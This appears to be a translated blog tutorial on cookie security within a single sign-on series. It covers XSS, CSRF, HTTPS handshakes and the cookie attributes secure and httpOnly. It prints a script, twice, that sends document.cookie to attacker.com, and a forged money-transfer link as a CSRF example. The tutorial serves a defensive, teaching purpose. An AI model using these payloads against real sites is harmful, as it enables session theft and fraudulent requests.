The series has not updated for a few days, a few days ago leave to return home, grandpa died. Work also began to busy, began the so-called “996”, for the rhythm and efficiency of worry.

A complete writing program for the series, see: Series Overview

Index of part I of the series:

  1. Session and cookie introduction
  2. HTTP redirection
  3. Introduction to single sign-on
  4. Cookie Security
  5. Rights Management

Continuing with part 1 of the “Single Sign-on and Permission Management” series: The essence of single sign-on and permission management. The previous article introduced the concept of single sign-on and explained the interaction between systems by taking the basic process of CAS protocol as an example. During the process, the setting and transmission of cookies are involved in a lot.

I have a limited understanding of safety-related knowledge. I have read relevant articles and sorted out and summarized them according to my own ideas and understanding.

If security issues are classified by region, all security issues that occur on back-end servers are called “back-end security issues”, such as SQL injection; All security problems occurring in browsers and Web pages are called “front-end security problems”, such as XSS cross-site scripting attacks, and cookie-related problems are mainly in the front-end.

First, the following two attacks will be introduced: XSS can obtain users’ cookies, and CSRF can use users’ cookies to forge requests. Then, HTTPS and its importance will be introduced. Finally, the restrictions on cross-domain access to cookies and the control of cookie operations when HTTP sets cookies.

XSS

XSS is called a cross-site Scripting attack, short for Cross-site Scripting, and this type of security problem occurs essentially when a browser executes user input data provided by an attacker as JavaScript.

XSS has different classification methods. According to whether malicious scripts are stored in the application, XSS can be divided into “stored XSS” and “reflective XSS”. Server Side XSS and DOM Based XSS can be classified according to whether the Server interacts with the Server.

Reflective XSS

Scenario Description: In some systems, the error message page is displayed after a user enters an incorrect message or performs an incorrect operation. The server displays different error messages based on the incoming message.

If the server does not filter messages, it will receive XSS attacks, such as requesting urls:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 
Copy the code

Page shows

<input type="text" value="${msg}">
Copy the code

If the attacker accesses the malicious URL, the cookie will be sent to the hacker, who can intercept the cookie and perform arbitrary manipulation by the user.

Save the type XSS

For saved XSS, scripts are typically stored in a back-end database, stored unfiltered and displayed to the user. Unlike a reflective process, at least two requests are required, the first to submit the data containing the malicious code to the server and save it to the database, and the second time the victim visits the page containing the malicious code and the malicious code executes.

DOM based XSS

In fact, it is also a reflection type, because it is also through the URL to control the output of the page, but the output location is different and lead to inconsistent results.

Add request URL and reflection XSS same:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 
Copy the code

The following page is displayed:

<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg"); 
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>
Copy the code

The best defense against XSS is to have strict output encoding of the data so that the data provided by an attacker can no longer be mistakenly executed as a script by the browser.

CSRF

CSRF is called Cross-site Request Forgery, which stands for Cross Site Request Forgery. It can forge a Request on the victim’s behalf and send it to the Site without the victim’s knowledge.

Scenario description: Miui Finance website A has the following transfer interface

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000
Copy the code

Hacker H has a website, B, and places the following code in the website to lure victims to click through advertisements. If the victim has logged in to website A before and the session has not expired, the money will be successfully transferred to the hacker without the victim’s knowledge.

<a href='http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000'></a>
Copy the code

This can be solved by verifying the HTTP Referer field, adding tokens to the request address and verifying them, and customizing attributes in the HTTP header and verifying them.

HTTPS

It is recommended that all sites open to the Internet use HTTPS, which adds the SSL layer on the basis of HTTP to encrypt data.

Through THE HTTPS protocol, even if a cookie is hijacked to request during transmission, it does not know what the actual cookie is and cannot forge other requests.

There are many descriptions of HTTPS on the web. Here is the interaction process:

  1. The browser sends its own set of encryption rules to the site;
  2. The site selects a set of encryption and HASH algorithms and sends its identity back to the browser in the form of a certificate. (The certificate contains information such as the website address, encrypted public key, and certificate issuing authority)
  3. Once the browser has obtained the site certificate, it does the following:
    • Verify the validity of the certificate (whether the certificate issuer is legitimate, and whether the website address contained in the certificate is the same as the accessed address). If the verification fails, a message is displayed indicating that the certificate is untrusted.
    • If the certificate is trusted, or if the user accepts an untrusted certificate, the browser generates a random number of passwords and encrypts them with the public key provided in the certificate.
    • The handshake message is calculated with the agreed HASH, and the generated random number is used to encrypt the message. Finally, all the previously generated information is sent to the website.
  4. After the web site receives data from the browser, it does the following:
    • Use the private key to decrypt the information and retrieve the password of a random number. Use the password to decrypt the handshake message sent by the browser and verify whether the HASH is the same as that sent by the browser.
    • Encrypt a handshake message with a random number password and send it to the browser.
  5. The browser decrypts and computes the HASH of the handshake message. If the HASH is the same as that sent by the server, the handshake is complete. All subsequent communication data is encrypted using the random password generated by the previous browser and a symmetric encryption algorithm.

Summary:

  • In the handshake phase, the asymmetric encryption algorithm is used to encrypt and decrypt the transmitted data, and the password, encryption algorithm, and Hash algorithm for random numbers are agreed.
  • During normal data transmission, asymmetric encryption is time-consuming, and the password of random number is used for encryption and decryption. The password of random number is generated in the browser and transmitted to the website through asymmetric encryption, so it will not be leaked.
  • To prevent data from being tampered, verify data using the Hash algorithm.

Cookie access control

Cookies are so important that, on the browser side, if a website can access cookies of other websites, it will not work, so the browser does not allow cross-domain access to cookies, which improves the security of cookies.

In the previous article session and cookie introduction, the scope of cookies has been introduced, mainly talking about how to share cookies in the same level of domain names.

If you want to achieve cross-domain access, you can use JSONP, CORS methods to achieve.

In addition, when setting cookies, HTTP provides two properties to enhance the security of cookies: secure and httpOnly.

The secure attribute prevents information leakage caused by eavesdropping during information transmission. If the value is set to true, the cookie saved by the browser is transmitted to the server only when the access is through HTTPS. If the access is through HTTP, the cookie is not transmitted.

The httpOnly attribute prevents programs from obtaining cookies. If set to true, cookies cannot be read through js and so on, effectively preventing XSS attacks.

Through the introduction of this article, in order to ensure the security of cookies, access through HTTPS should be required, and the code should be fully considered to avoid cookie-related attack methods such as XSS and CSRF as far as possible. At the same time, browsers and HTTP itself take cookie access control into account.